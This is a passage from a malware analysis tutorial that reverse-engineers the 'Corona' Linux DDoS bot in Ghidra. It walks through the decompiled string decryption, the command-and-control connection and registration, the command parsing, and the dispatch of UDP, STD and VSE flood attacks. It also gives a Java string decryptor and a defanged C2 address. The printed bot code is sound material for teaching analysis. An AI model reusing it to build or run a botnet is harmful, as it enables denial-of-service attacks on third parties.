local_10;\r\nhttps://maxkersten.nl/binary-analysis-course/malware-analysis/corona-ddos-bot/\r\nPage 17 of 39\n\nint local_c;\r\n __fd = 0xffffffff;\r\n __fd = socket(AF_INET,SOCK_STREAM,DEFAULT_PROTOCOL);\r\n if (__fd != -1) {\r\n socketAddr.sin_family = 2;\r\n socketAddr.sin_port = htons(0x22b8);\r\n socketAddr.sin_addr = inputAddress;\r\n uVar1 = fcntl(__fd,F_GETFL,0);\r\n fcntl(__fd,F_SETFL,\r\n (ulong)(uVar1 \u0026 0xffff0000 | (uint)CONCAT11((char)((ulong)uVar1 \u003e\u003e 8),(char)uVar1)) |\r\n 0x800);\r\n piVar3 = __GI___errno_location();\r\n *piVar3 = 0;\r\n bindResult = bind(__fd,(sockaddr *)\u0026socketAddr,0x10);\r\n lastErrorCode = __GI___errno_location();\r\n if ((bindResult == -1) \u0026\u0026 (*lastErrorCode == EADDRNOTAVAIL)) {\r\n close(__fd);\r\n sleep(1);\r\n localhost = htonl(0x7f000001);\r\n ensure_bind(localhost);\r\n }\r\n else {\r\n if (bindResult == -1) {\r\n exit(1);\r\n }\r\n listen(__fd,1);\r\n }\r\n }\r\n return;\r\n}\r\nString decryption\r\nThe encryption_init is a simple function, in the sense that it calls the same function (encryption) several times,\r\nbefore it returns. The code is given below.\r\nvoid encryption_init(void)\r\n{\r\n encryption(enc_udp,2,\u0026DAT_00407cf7);\r\n encryption(enc_tcp,2,\u0026DAT_00407cfb);\r\n encryption(enc_http,2,\u0026DAT_00407cff);\r\n encryption(enc_std,2,\u0026DAT_00407d04);\r\n encryption(enc_xmas,2,\u0026DAT_00407d08);\r\n encryption(enc_vse,2,\u0026DAT_00407d0d);\r\n encryption(enc_proc_kill,2,\"A*A*t)sB\u0026\u0026uDx\");\r\nhttps://maxkersten.nl/binary-analysis-course/malware-analysis/corona-ddos-bot/\r\nPage 18 of 39\n\nencryption(enc_name,2,\"oDwD$*\");\r\n encryption(enc_unknown,2,\"x$s$Dt$\");\r\n return;\r\n}\r\nThe encryption function (with comitted locals) is given below.\r\nvoid encryption(undefined8 *puParm1,int iParm2,char *pcParm3)\r\n{\r\n char cVar2;\r\n ulong uVar2;\r\n ulong uVar3;\r\n char *pcVar4;\r\n char *pcVar3;\r\n int local_20;\r\n int local_1c;\r\n uint local_18;\r\n int local_14;\r\n int local_10;\r\n uint local_c;\r\n char cVar1;\r\n if (iParm2 == 1) {\r\n local_20 = 0;\r\n local_1c = 0;\r\n *puParm1 = 0;\r\n do {\r\n uVar2 = 0xffffffffffffffff;\r\n pcVar4 = pcParm3;\r\n do {\r\n if (uVar2 == 0) break;\r\n uVar2 = uVar2 - 1;\r\n cVar1 = *pcVar4;\r\n pcVar4 = pcVar4 + 1;\r\n } while (cVar1 != 0);\r\n if (~uVar2 - 1 \u003c= (ulong)(long)local_20) {\r\n *(undefined *)((long)local_1c + (long)puParm1) = 0;\r\n return;\r\n }\r\n local_18 = 0;\r\n while (local_18 \u003c 0x41) {\r\n if (pcParm3[(long)local_20] == dec[(long)(int)local_18]) {\r\n *(undefined *)((long)local_1c + (long)puParm1) = enc[(long)(int)local_18];\r\n local_1c = local_1c + 1;\r\n }\r\n local_18 = local_18 + 1;\r\nhttps://maxkersten.nl/binary-analysis-course/malware-analysis/corona-ddos-bot/\r\nPage 19 of 39\n\n}\r\n local_20 = local_20 + 1;\r\n } while( true );\r\n }\r\n if (iParm2 != 2) {\r\n return;\r\n }\r\n local_14 = 0;\r\n local_10 = 0;\r\n *puParm1 = 0;\r\n do {\r\n uVar3 = 0xffffffffffffffff;\r\n pcVar3 = pcParm3;\r\n do {\r\n if (uVar3 == 0) break;\r\n uVar3 = uVar3 - 1;\r\n cVar2 = *pcVar3;\r\n pcVar3 = pcVar3 + 1;\r\n } while (cVar2 != 0);\r\n if (~uVar3 - 1 \u003c= (ulong)(long)local_14) {\r\n *(undefined *)((long)local_10 + (long)puParm1) = 0;\r\n return;\r\n }\r\n local_c = 0;\r\n while (local_c \u003c 0x41) {\r\n if (pcParm3[(long)local_14] == enc[(long)(int)local_c]) {\r\n *(undefined *)((long)local_10 + (long)puParm1) = dec[(long)(int)local_c];\r\n local_10 = local_10 + 1;\r\n }\r\n local_c = local_c + 1;\r\n }\r\n local_14 = local_14 + 1;\r\n } while( true );\r\n}\r\nWhen looking at the encryption function, it is apparent that the second parameter is used to execute a part of the\r\nfunction. Below, the code structure is highlighted.\r\nif (iParm2 == 1) {\r\n //Do something\r\n}\r\nif (iParm2 != 2) {\r\n return;\r\n}\r\n//Do something else\r\nhttps://maxkersten.nl/binary-analysis-course/malware-analysis/corona-ddos-bot/\r\nPage 20 of 39\n\nThe compiler generates the above given structure based on an if-else structure, as shown below.\r\nif (iParm2 == 1) {\r\n //Do something\r\n} else if (iParm2 == 2) {\r\n //Do something else\r\n}\r\nIn all occurences, the value 2 is used for the second parameter. Therefore, one can assume that the second\r\nparameter defines the mode that is used within the function. The first parameter is a global string, whereas the\r\nthird parameter is a literal string. Based on these observations, the signature of the encryption function can be\r\nrepresented as follows.\r\nencryption(char *output, int mode, char *input);\r\nAside from renaming the three variables in Ghidra, the type of the first variable also needs to be redefined. Instead\r\nof undefined8, the type is a char *. To decrypt the strings, one ony has to look at the code that is executed when\r\nthe mode is equal to 2. The code segment is given below, after which it will be optimised and rewritten in Java.\r\n local_14 = 0;\r\n local_10 = 0;\r\n *(undefined8 *)output = 0;\r\n do {\r\n uVar3 = 0xffffffffffffffff;\r\n pcVar3 = input;\r\n do {\r\n if (uVar3 == 0) break;\r\n uVar3 = uVar3 - 1;\r\n cVar2 = *pcVar3;\r\n pcVar3 = pcVar3 + 1;\r\n } while (cVar2 != 0);\r\n if (~uVar3 - 1 \u003c= (ulong)(long)local_14) {\r\n output[(long)local_10] = 0;\r\n return;\r\n }\r\n local_c = 0;\r\n while (local_c \u003c 0x41) {\r\n if (input[(long)local_14] == enc[(long)(int)local_c]) {\r\n output[(long)local_10] = dec[(long)(int)local_c];\r\n local_10 = local_10 + 1;\r\n }\r\n local_c = local_c + 1;\r\n }\r\nhttps://maxkersten.nl/binary-analysis-course/malware-analysis/corona-ddos-bot/\r\nPage 21 of 39\n\nlocal_14 = local_14 + 1;\r\n } while( true );\r\nThe variable uVar3 is made equal to 0xffffffffffffffff in the decompiler. When looking in the disassembly, one can\r\nsee that the value is actually -1.\r\n0040217b MOV uVar3,-0x1\r\nThe decryption code seems to be rather complete based on the decompiled code. However, there are a few parts\r\nthat are not optimised. The variables enc and dec are two arrays, both of which are 64 bytes in size.\r\nThe second do-while loop looks more complicated than it is. The code is given below.\r\nuVar3 = -1; //Written as 0xffffffffffffffff in the decompiled code\r\npcVar3 = input;\r\ndo {\r\n if (uVar3 == 0) break;\r\n uVar3 = uVar3 - 1;\r\n cVar2 = *pcVar3;\r\n pcVar3 = pcVar3 + 1;\r\n} while (cVar2 != 0);\r\nif (~uVar3 - 1 \u003c= (ulong)(long)local_14) {\r\n//[omitted code]\r\nThe loop is broken when uVar3 (a copy of input) is equal to 0, or when cVar2 is not equal to 0. A string is\r\nterminated with a NULL byte, meaning that the loop is only broken when the end of the input string has been\r\nreached.\r\nWithin the loop, uVar3 is decreased with 1 in each iteration. The variable cVar2 is set equal to the current address\r\nof pcVar3, after which pcVar3‘s value is incremented with one. This effectively moves cVar2 to the next character\r\nof the string in the next iteration.\r\nBased on this, the code can be rewritten as follows:\r\ncount = -1; //Written as 0xffffffffffffffff in the decompiled code\r\ninput_copy = input;\r\ndo {\r\n if (count == 0) break;\r\n count = count - 1;\r\n currentCharacter = *input_copy;\r\n input_copy = input_copy + 1;\r\n} while (currentCharacter != 0);\r\nif (~count - 1 \u003c= (ulong)(long)local_14) {\r\n//[omitted code]\r\nhttps://maxkersten.nl/binary-analysis-course/malware-analysis/corona-ddos-bot/\r\nPage 22 of 39\n\nThe count starts at -1 and is decreased with 1 for every character that the input is long. The if-statement in the line\r\nbelow inverts the value of count, after which 1 is subtracted. The initial value of the variable is -1, after which the\r\ninverse value is decreased with 1. These two actions negate eachother, meaning that they can both be left out. The\r\nvariable count is thus equal to 0 in the beginning. When the loop has finished, count is equal to the length of the\r\ninput string.\r\nOn can write this as a single line of code to increase the readability. The code below is in Java.\r\nint count = input.length;\r\nThe if-statement contains two variables: count and local_14. The latter is increased with 1 at the bottom of the\r\nfunction. This variable can therefore be renamed to iterationCount.\r\nThe if-statement’s body sets the value at output[local_10] to 0, after which the function returns. This part of the\r\ncode is only reached when the string is fully decrypted, since this is the only way to return from this endless loop.\r\nIn the end of the function, there is a while-loop that contains the two variables that have not been renamed yet.\r\nlocal_c = 0;\r\nwhile (local_c \u003c 0x41) {\r\n if (input[(long)iterationCount] == enc[(long)(int)local_c]) {\r\noutput[(long)local_10] = dec[(long)(int)local_c];\r\nlocal_10 = local_10 + 1;\r\n }\r\n local_c = local_c + 1;\r\n}\r\nDue to the compiler’s assembly code, Ghidra shows this is a while-loop. It is likely that in the source code, the\r\nwhile-loop was actually a for-loop where local_c was named i. Renaming this variable creates code that is more\r\nreadable. To increase the readability even more, one can rename local_10 to j.\r\nNote that the for-loop iterates 0x41 (65 in decimal) times. In Java, the string terminator (a single byte at the end of\r\nthe string that is equal to 0x00) does not exist. Therefore the loop should only iterate 0x40 (64 in decimal) times.\r\nAlso note that the string that is required for the input, requires an additional 0 at the end, since the other loops\r\nexpect the string terminator to be present.\r\nThe byte arrays named enc and dec can be copied into the decryption program. The optimised output can then be\r\nused to decrypt the given strings. The Java program to decrypt a given string is given below.\r\n/**\r\n * Decrypts a given \u003ccode\u003einput\u003c/code\u003e string, after which the decrypted\r\n * output is printed.\r\n *\r\n * @author Max 'Libra' Kersten [@Libranalysis]\r\nhttps://maxkersten.nl/binary-analysis-course/malware-analysis/corona-ddos-bot/\r\nPage 23 of 39\n\n*/\r\npublic static void main(String[] args) {\r\n //Gets the enc variable that is declared below\r\n byte[] enc = getEnc();\r\n //Gets the dec variable that is declared below\r\n byte[] dec = getDec();\r\n //The byte array to store the output in. In this sample, there is no string that exceeds the size o\r\n byte[] output = new byte[100];\r\n //The input which needs to be decrypted (note the \"0\" at the end to include the null byte in the it\r\n byte[] input = \"x$s$Dt$0\".getBytes();\r\n //The start of the decryption routine\r\n int iterationCount = 0;\r\n int j = 0;\r\n do {\r\n if (input.length \u003c= iterationCount) {\r\n output[j] = 0;\r\n System.out.println(new String(output));\r\n return;\r\n }\r\n for (int i = 0; i \u003c 64; i++) { //0x41 equals 65, but needs to be 64 in Java because the null term\r\n if (input[iterationCount] == enc[i]) {\r\n output[j] = dec[i];\r\n j++;\r\n }\r\n }\r\n iterationCount++;\r\n } while (true);\r\n}\r\nprivate static byte[] getEnc() {\r\n return new byte[]{0x3c, 0x3e, 0x40, 0x5f, 0x3b, 0x3a, 0x2c, 0x2e, 0x2d, 0x2b, 0x2a, 0x5e, 0x3f, 0x3\r\n}\r\nprivate static byte[] getDec() {\r\n return new byte[]{0x30, 0x31, 0x32, 0x33, 0x34, 0x35, 0x36, 0x37, 0x38, 0x39, 0x61, 0x62, 0x63, 0x6\r\n}\r\nWith this program, one can obtain the original values of the encrypted strings. Below, the encryption_init function\r\nis given, where the decrypted value is given as a comment.\r\nencryption(enc_udp,2,\"3nb\"); //UDP\r\nencryption(enc_tcp,2,\"2ob\"); //TCP\r\nencryption(enc_http,2,\"h22b\"); //HTTP\r\nencryption(enc_std,2,\"12n\"); //STD\r\nencryption(enc_xmas,2,\"9eq1\"); //XMAS\r\nencryption(enc_vse,2,\"41m\"); //VSE\r\nhttps://maxkersten.nl/binary-analysis-course/malware-analysis/corona-ddos-bot/\r\nPage 24 of 39\n\nencryption(enc_proc_kill,2,\"A*A*t)sB\u0026\u0026uDx\"); //hahawekillyou\r\nencryption(enc_name,2,\"oDwD$*\"); //Corona\r\nencryption(enc_unknown,2,\"x$s$Dt$\"); //unknown\r\nTesting the internet connection\r\nAfter the strings have been decrypted, the command line argument is saved, the name of the parent process is\r\nchanged, and the random seed has been set, the connection function is reached. The code is given below.\r\nundefined8 connection(void)\r\n{\r\n uint uVar1;\r\n int iVar2;\r\n sa_family_t local_18;\r\n uint16_t local_16;\r\n in_addr_t local_14;\r\n while( true ) {\r\n uVar1 = fcntl(MainSockFD,3,0);\r\n fcntl(MainSockFD,4,\r\n (ulong)(uVar1 \u0026 0xffff0000 | (uint)CONCAT11((char)((ulong)uVar1 \u003e\u003e 8),(char)uVar1)) |\r\n 0x800);\r\n MainSockFD = socket(2,1,0);\r\n local_18 = 2;\r\n local_16 = htons((uint16_t)bot_port);\r\n local_14 = inet_addr(bot_host);\r\n iVar2 = connect(MainSockFD,(sockaddr *)\u0026local_18,0x10);\r\n if (iVar2 != -1) break;\r\n printf(\"[%s] Unable To Connect! \\n\",enc_name);\r\n sleep(5);\r\n }\r\n printf(\"[%s] Succesfully Connected! \\n\",enc_name);\r\n registermydevice();\r\n return 0;\r\n}\r\nNote that the local_18 variable is of the sa_family_t type. Below, there are three variables (local_18, local_16, and\r\nlocal_14) that are actually fields within the sockaddr_in struct. Changing the type will show the correct\r\ndecompiled code. Additionally, the name of local_18 can be changed into socketAddr.\r\nBased on the print statements, one can deduce that this function is a connectivity test. At first, an AF_INET\r\nSOCK_STREAM socket with a default protocol is created. After that, a connection is initiated based upon the data\r\nwithin the sockaddr_in structure. Both the address and the port that the bot will connect to, are located within the\r\ndata segment.\r\nhttps://maxkersten.nl/binary-analysis-course/malware-analysis/corona-ddos-bot/\r\nPage 25 of 39\n\nPort 20 is generally used to transfer files using the File Transfer Protocol (FTP), although this is not the case in\r\nthis bot. The IP address to connect to is 91[.]209[.]70[.]22.\r\nWhen the connect function fails, the return value is equal to -1. The variable iVar2 is equal to the connectionResult\r\nand can be renamed as such. The renamed and retyped function is given below.\r\nundefined8 connection(void)\r\n{\r\n uint uVar1;\r\n int connectionResult;\r\n sockaddr_in socketAddr;\r\n while( true ) {\r\n uVar1 = fcntl(MainSockFD,3,0);\r\n fcntl(MainSockFD,4,\r\n (ulong)(uVar1 \u0026 0xffff0000 | (uint)CONCAT11((char)((ulong)uVar1 \u003e\u003e 8),(char)uVar1)) |\r\n 0x800);\r\n MainSockFD = socket(AF_INET,SOCK_STREAM,0);\r\n socketAddr.sin_family = 2;\r\n socketAddr.sin_port = htons((uint16_t)_bot_port);\r\n socketAddr.sin_addr = inet_addr(bot_host);\r\n connectionResult = connect(MainSockFD,(sockaddr *)\u0026socketAddr,0x10);\r\n if (connectionResult != -1) break;\r\n printf(\"[%s] Unable To Connect! \\n\",enc_name);\r\n sleep(5);\r\n }\r\n printf(\"[%s] Succesfully Connected! \\n\",enc_name);\r\n registermydevice();\r\n return 0;\r\n}\r\nThe main socket is used to connect to the command \u0026 control server. If the connection is not made successfully,\r\nthe bot prints the failure message, sleeps for 5 seconds, and then tries to connect the command \u0026 control server\r\nagain. Upon a successfull connection, the endless loop is broken, the success message is printed, and the\r\nregistermydevice function is called.\r\nRegistering the bot\r\nAfter the connection has been made successfully, the bot is registered. The function is given below.\r\nvoid registermydevice(void)\r\n{\r\n char cVar2;\r\n undefined8 uVar2;\r\n ulong uVar3;\r\nhttps://maxkersten.nl/binary-analysis-course/malware-analysis/corona-ddos-bot/\r\nPage 26 of 39\n\nulong uVar4;\r\n char *pcVar5;\r\n char *pcVar4;\r\n char acStack632 [512];\r\n char acStack120 [112];\r\n char cVar1;\r\n uVar2 = getBuild();\r\n sprintf(acStack120,\"arch %s\\r\\n\",uVar2);\r\n uVar3 = 0xffffffffffffffff;\r\n pcVar5 = acStack120;\r\n do {\r\n if (uVar3 == 0) break;\r\n uVar3 = uVar3 - 1;\r\n cVar1 = *pcVar5;\r\n pcVar5 = pcVar5 + 1;\r\n } while (cVar1 != 0);\r\n write(MainSockFD,acStack120,~uVar3 - 1);\r\n uVar2 = getBuild();\r\n sprintf(acStack632,\r\n \"\\x1b[0m\\x1b[0;31m[\\x1b[0;36m%s\\x1b[0;31m]\\x1b[0m Device Joined [Host:%s] [Arch:%s][Name:%s\r\n ,enc_name,0x510068,uVar2,0x510004);\r\n uVar4 = 0xffffffffffffffff;\r\n pcVar4 = acStack632;\r\n do {\r\n if (uVar4 == 0) break;\r\n uVar4 = uVar4 - 1;\r\n cVar2 = *pcVar4;\r\n pcVar4 = pcVar4 + 1;\r\n } while (cVar2 != 0);\r\n write(MainSockFD,acStack632,~uVar4 - 1);\r\n return;\r\n}\r\nIn this function there are two do-while loops. Both of them are similar to a structure that was seen in the\r\ndecryption function, and both are used to obtain the length of a given string.\r\nAt first, the variable uVar2 is set equal to the return value of getBuild, which is given below.\r\nundefined * getBuild(void)\r\n{\r\n return \u0026DAT_00407d3d;\r\n}\r\nhttps://maxkersten.nl/binary-analysis-course/malware-analysis/corona-ddos-bot/\r\nPage 27 of 39\n\nWhen viewing the location of DAT_00496d3d, one can see it is a null terminated string. As such, the type can be\r\nchanged to a char *. Ghidra will make use of the new type, as the getBuild function changes after this, as can be\r\nseen below.\r\nchar * getBuild(void)\r\n{\r\n return \"x86\";\r\n}\r\nAdditionally, the variable type of uVar2 is changed to a character pointer. The variable uVar2 can be renamed into\r\narchitecture.\r\nThe function contains two calls to the write function, sending two pieces of information towards the command \u0026\r\ncontrol server. The creation of the first message, as well as the write call, is given below.\r\narchitecture = getBuild();\r\nsprintf(acStack120,\"arch %s\\r\\n\",architecture);\r\nuVar3 = 0xffffffffffffffff;\r\npcVar3 = acStack120;\r\ndo {\r\n if (uVar3 == 0) break;\r\n uVar3 = uVar3 - 1;\r\n cVar1 = *pcVar3;\r\n pcVar3 = pcVar3 + 1;\r\n} while (cVar1 != 0);\r\nwrite(MainSockFD,acStack120,~uVar3 - 1);\r\nAt first, the architecture variable is filled, after which the acStack120 variable is used as a buffer to store arch\r\nx86\\r\\n in. After that, a copy of the buffer is made to calculate the length of the input string. At last, the main\r\nsocket is used to send the buffer with the given length to the command \u0026 control server. The refactored code is\r\ngiven below.\r\narchitecture = getBuild();\r\nsprintf(architectureBuffer,\"arch %s\\r\\n\",architecture);\r\narchBufferLength = 0xffffffffffffffff;\r\narchBufferCopy = architectureBuffer;\r\ndo {\r\n if (archBufferLength == 0) break;\r\n archBufferLength = archBufferLength - 1;\r\n currentArchChar = *archBufferCopy;\r\n archBufferCopy = archBufferCopy + 1;\r\n} while (currentArchChar != 0);\r\nwrite(MainSockFD,architectureBuffer,~archBufferLength - 1);\r\nhttps://maxkersten.nl/binary-analysis-course/malware-analysis/corona-ddos-bot/\r\nPage 28 of 39\n\nThe second write call contains a different buffer with a different length. The code is given below.\r\npcVar2 = getBuild();\r\nsprintf(acStack632,\r\n \"\\x1b[0m\\x1b[0;31m[\\x1b[0;36m%s\\x1b[0;31m]\\x1b[0m Device Joined [Host:%s] [Arch:%s][Name:%s]\\\r\n ,enc_name,0x510068,pcVar2,0x510004);\r\nuVar3 = 0xffffffffffffffff;\r\npcVar4 = acStack632;\r\ndo {\r\n if (uVar3 == 0) break;\r\n uVar3 = uVar3 - 1;\r\n cVar1 = *pcVar4;\r\n pcVar4 = pcVar4 + 1;\r\n} while (cVar1 != 0);\r\nwrite(MainSockFD,acStack632,~uVar3 - 1);\r\nThe acStack632 variable contains the final value to be sent to the command \u0026 control server. The code below that\r\nis used to calculate the length of the string. The string that is created, contains more information on the infected\r\ndevice. It contains the name (which equals Corona), the value at 0x510068, the architecture (which is stored in\r\npcVar2 and obtained from getBuild), and the value at 0x510004.\r\nWhen double clicking on the two addresses, one can see that the values reside within the myinfo struct. The value\r\nat 0x510068 is equal to myinfo.local_addres, which was set within the local_addr function. The value at 0x510004\r\nis equal to myinfo.command_line_argument, which was set within the main function.\r\nAt last, the length of the string is calculated in a loop, after which the data is sent to the command \u0026 control server\r\nusing the main socket. Below, the refactored code is given.\r\nbot_architecture = getBuild();\r\nsprintf(messageBuffer,\r\n \"\\x1b[0m\\x1b[0;31m[\\x1b[0;36m%s\\x1b[0;31m]\\x1b[0m Device Joined [Host:%s] [Arch:%s][Name:%s]\\\r\n ,enc_name,0x510068,bot_architecture,0x510004);\r\nmessageLength = 0xffffffffffffffff;\r\nmessageCopy = messageBuffer;\r\ndo {\r\n if (messageLength == 0) break;\r\n messageLength = messageLength - 1;\r\n currentMessageChar = *messageCopy;\r\n messageCopy = messageCopy + 1;\r\n} while (currentMessageChar != 0);\r\nwrite(MainSockFD,messageBuffer,~messageLength - 1);\r\nParsing a command\r\nhttps://maxkersten.nl/binary-analysis-course/malware-analysis/corona-ddos-bot/\r\nPage 29 of 39\n\nAfter the bot has been registered, it will await a command from the command \u0026 control server. The code below\r\nparses the incoming commands.\r\nvoid recv_buf(void)\r\n{\r\n long lVar3;\r\n char *pcVar4;\r\n ssize_t sVar5;\r\n ulong uVar6;\r\n char *pcVar1;\r\n char *local_488 [12];\r\n char local_428 [1024];\r\n int local_28;\r\n uint local_24;\r\n char *local_20;\r\n char cVar1;\r\n uint uVar2;\r\n do {\r\n sVar5 = read(MainSockFD,local_428,0x400);\r\n if (sVar5 == 0) {\r\n return;\r\n }\r\n local_24 = 0;\r\n memset(local_488,0,0x58);\r\n local_20 = strtok(local_428,\" \");\r\n while ((local_20 != (char *)0x0 \u0026\u0026 ((int)local_24 \u003c 10))) {\r\n uVar6 = 0xffffffffffffffff;\r\n pcVar1 = local_20;\r\n do {\r\n if (uVar6 == 0) break;\r\n uVar6 = uVar6 - 1;\r\n cVar1 = *pcVar1;\r\n pcVar1 = pcVar1 + 1;\r\n } while (cVar1 != 0);\r\n pcVar1 = (char *)malloc(~uVar6);\r\n local_488[(long)(int)local_24] = pcVar1;\r\n lVar3 = (long)(int)local_24;\r\n strcpy(local_488[lVar3],local_20);\r\n local_20 = strtok((char *)0x0,\" \");\r\n local_24 = local_24 + 1;\r\n }\r\n pcVar4 = strstr(local_428,enc_proc_kill);\r\n if (pcVar4 != (char *)0x0) {\r\n exit(0);\r\n }\r\n if (0 \u003c (int)local_24) {\r\nhttps://maxkersten.nl/binary-analysis-course/malware-analysis/corona-ddos-bot/\r\nPage 30 of 39\n\ncmd_parse((ulong)local_24,local_488);\r\n }\r\n local_28 = 0;\r\n while (local_28 \u003c (int)local_24) {\r\n free(local_488[(long)local_28]);\r\n local_28 = local_28 + 1;\r\n }\r\n } while( true );\r\n}\r\nAt first the size of the incoming message is read from the main socket and stored in sVar5. The actual data itself is\r\nstored in local_428. The variable named sVar5 can be renamed into commandLength. The variable named\r\nlocal_428 can be renamed into command.\r\nIf the size is equal to 0, meaning no message has been sent to the bot, the function will return.\r\nWhen the size of the command is not equal to zero, the variable local_24 is set to 0 and a buffer of 88 bytes (0x58\r\nin hexadecimal) is alloacted, which is named local_48. When looking in the variable declaration at the top of the\r\nfunction, one will see that local_488 appears to be a character array of 12 in size, whilst 88 bytes are allocated in\r\nsize.\r\nTo change the size in Ghidra’s decompiler, one has to retype the variable, as the size is included in the type. One\r\ncan change the size by changing char *[12] into char *[88]. After changing the size, commit the local variables\r\nagain.\r\nSince the function’s content has been changed, some variables are automatically renamed by Ghidra. The variable\r\nthat was previously named command has been renamed to local_488 and is now used as an argument in the read\r\nand memset functions. It can be renamed into command again.\r\nThe first part of the function is given below in refactored form.\r\ndo {\r\n commandLength = read(MainSockFD,command + 0xc,0x400);\r\n if (commandLength == 0) {\r\n return;\r\n }\r\n local_24 = 0;\r\n memset(command,0,0x58);\r\n //[...]\r\nBelow that, the strok function is used to split the command (at offset 0xc) into different parts, based on the used\r\ndelimiter, which is a space.\r\nlocal_20 = strtok((char *)(command + 0xc),\" \");\r\nhttps://maxkersten.nl/binary-analysis-course/malware-analysis/corona-ddos-bot/\r\nPage 31 of 39\n\nAs such, the local_20 variable can be renamed to splittedCommand.\r\nThe while-loop below contains a string length calculation loop that was observed multiple times before.\r\nwhile ((splittedCommand != (char *)0x0 \u0026\u0026 ((int)local_24 \u003c 10))) {\r\n uVar6 = 0xffffffffffffffff;\r\n pcVar1 = splittedCommand;\r\n do {\r\n if (uVar6 == 0) break;\r\n uVar6 = uVar6 - 1;\r\n cVar1 = *pcVar1;\r\n pcVar1 = pcVar1 + 1;\r\n } while (cVar1 != 0);\r\n pcVar2 = (char *)malloc(~uVar6);\r\n command[(long)(int)local_24] = pcVar2;\r\n lVar3 = (long)(int)local_24;\r\n strcpy(command[lVar3],splittedCommand);\r\n splittedCommand = strtok((char *)0x0,\" \");\r\n local_24 = local_24 + 1;\r\n}\r\nThe variable uVar6 is equal to -1, but the decompiler displays the unsigned value as a signed one. Keep this in\r\nmind during the analysis.\r\nAt the bottom of the loop, one can see that the local_24 variable is incremented with one just before the next\r\niteration starts. Within the while-condition, a comparison is made to see if the the value of local_24 is less than 10.\r\nSince the local_24 variable is set to 0 before, this means that the loop iterates 10 times. The local_24 variable can\r\nbe renamed to i.\r\nWhen renaming the string length loop, the code becomes much more readable, as can be seen below. Additionally,\r\nthe lVar3 variable can be renamed into i_also, as it is made equal to i (local_24 in the code above).\r\nwhile ((splittedCommand != (char *)0x0 \u0026\u0026 ((int)i \u003c 10))) {\r\n splittedCommandLength = 0xffffffffffffffff;\r\n splittedCommandCopy = splittedCommand;\r\n do {\r\nif (splittedCommandLength == 0) break;\r\nsplittedCommandLength = splittedCommandLength - 1;\r\ncurrentChar = *splittedCommandCopy;\r\nsplittedCommandCopy = splittedCommandCopy + 1;\r\n } while (currentChar != 0);\r\n pcVar1 = (char *)malloc(~splittedCommandLength);\r\n command[(long)(int)i] = pcVar1;\r\n i_also = (long)(int)i;\r\n strcpy(command[i_also],splittedCommand);\r\n splittedCommand = strtok((char *)0x0,\" \");\r\nhttps://maxkersten.nl/binary-analysis-course/malware-analysis/corona-ddos-bot/\r\nPage 32 of 39\n\ni = i + 1;\r\n}\r\nThe variable pcVar1 is equal to a buffer that has the size of the command. After some juggling with variables, the\r\nsplitted command is copied into the command variable. The variable pcVar1 can be renamed into command_copy.\r\nThe last part of the function within the endless loop is given below.\r\npcVar4 = strstr((char *)(command + 0xc),enc_proc_kill);\r\nif (pcVar4 != (char *)0x0) {\r\n exit(0);\r\n}\r\nif (0 \u003c (int)i) {\r\n cmd_parse((ulong)i,command);\r\n}\r\nlocal_28 = 0;\r\nwhile (local_28 \u003c (int)i) {\r\n free(command[(long)local_28]);\r\n local_28 = local_28 + 1;\r\n}\r\nThe strstr function is used to find a string within a given buffer. The buffer is the first argument, whereas the\r\nsecond argument is the string to find. In this case, the buffer is searched for value of enc_proc_kill, which equals\r\nhahawekillyou. If this string does occur (the code states that the condition should not not happen), the bot shuts\r\nitself down. If the value is not present and the amount of loops above is more than 0, the cmd_parse function is\r\ncalled with i and command as arguments.\r\nIf this condition is not met, or when the cmd_parse function returns, a while-loop that frees data is encountered.\r\nThe code is given below.\r\nlocal_28 = 0;\r\nwhile (local_28 \u003c (int)i) {\r\n free(command[(long)local_28]);\r\n local_28 = local_28 + 1;\r\n}\r\nThe variable local_28 can be renamed into count to increase the readability of the code.\r\ncount = 0;\r\nwhile (count \u003c (int)i) {\r\n free(command[(long)count]);\r\n count = count + 1;\r\n}\r\nhttps://maxkersten.nl/binary-analysis-course/malware-analysis/corona-ddos-bot/\r\nPage 33 of 39\n\nThe value of command at the index of count is freed. This is done to ensure that the next iteration of the endless\r\nloop does not contain parts of a previously issued command.\r\nAnalysing the command handling\r\nUpon receiving a command from the command \u0026 control server, it is processed within the bot. The command\r\nvalue is then processed internally, after which the corresponding functions are executed.\r\nAt first glance, one can instantly rename the function’s two arguments. The first one is equal to i and the second\r\none is equal to command. The code after these steps is given below.\r\nvoid cmd_parse(int i,char **command)\r\n{\r\n char *pcVar3;\r\n char *pcVar4;\r\n int iVar3;\r\n uint uVar4;\r\n uint uVar5;\r\n uint uVar6;\r\n uint uVar7;\r\n __pid_t _Var8;\r\n int iVar5;\r\n uint uVar8;\r\n uint uVar9;\r\n __pid_t _Var10;\r\n uint local_b4;\r\n int local_b0;\r\n int local_ac;\r\n char *pcVar1;\r\n char *pcVar2;\r\n iVar3 = strcmp(*command,enc_udp);\r\n if (iVar3 == 0) {\r\n if (6 \u003c i) {\r\n pcVar1 = command[1];\r\n uVar4 = atoi(command[2]);\r\n uVar5 = atoi(command[3]);\r\n uVar6 = atoi(command[4]);\r\n uVar7 = atoi(command[5]);\r\n if (i \u003c 7) {\r\n local_b4 = 1000;\r\n }\r\n else {\r\n local_b4 = atoi(command[6]);\r\n }\r\n if (i \u003c 8) {\r\nhttps://maxkersten.nl/binary-analysis-course/malware-analysis/corona-ddos-bot/\r\nPage 34 of 39\n\nlocal_b0 = 1000000;\r\n }\r\n else {\r\n local_b0 = atoi(command[7]);\r\n }\r\n if (i \u003c 9) {\r\n local_ac = 0;\r\n }\r\n else {\r\n local_ac = atoi(command[8]);\r\n }\r\n _Var8 = fork();\r\n if (_Var8 == 0) {\r\n udp_attack(pcVar1,(ulong)uVar4,(ulong)uVar5,(ulong)uVar6,(ulong)uVar7,(ulong)local_b4,\r\n local_b0,local_ac);\r\n }\r\n }\r\n }\r\n else {\r\n iVar5 = strcmp(*command,enc_std);\r\n if (iVar5 == 0) {\r\n if (2 \u003c i) {\r\n pcVar3 = command[1];\r\n uVar8 = atoi(command[2]);\r\n uVar9 = atoi(command[3]);\r\n _Var10 = fork();\r\n if (_Var10 == 0) {\r\n std_attack(pcVar3,(ulong)uVar8,(ulong)uVar9);\r\n }\r\n }\r\n }\r\n else {\r\n iVar5 = strcmp(*command,enc_vse);\r\n if (iVar5 == 0) {\r\n if (i \u003c 3) {\r\n return;\r\n }\r\n pcVar3 = command[1];\r\n uVar8 = atoi(command[2]);\r\n uVar9 = atoi(command[3]);\r\n _Var10 = fork();\r\n if (_Var10 == 0) {\r\n 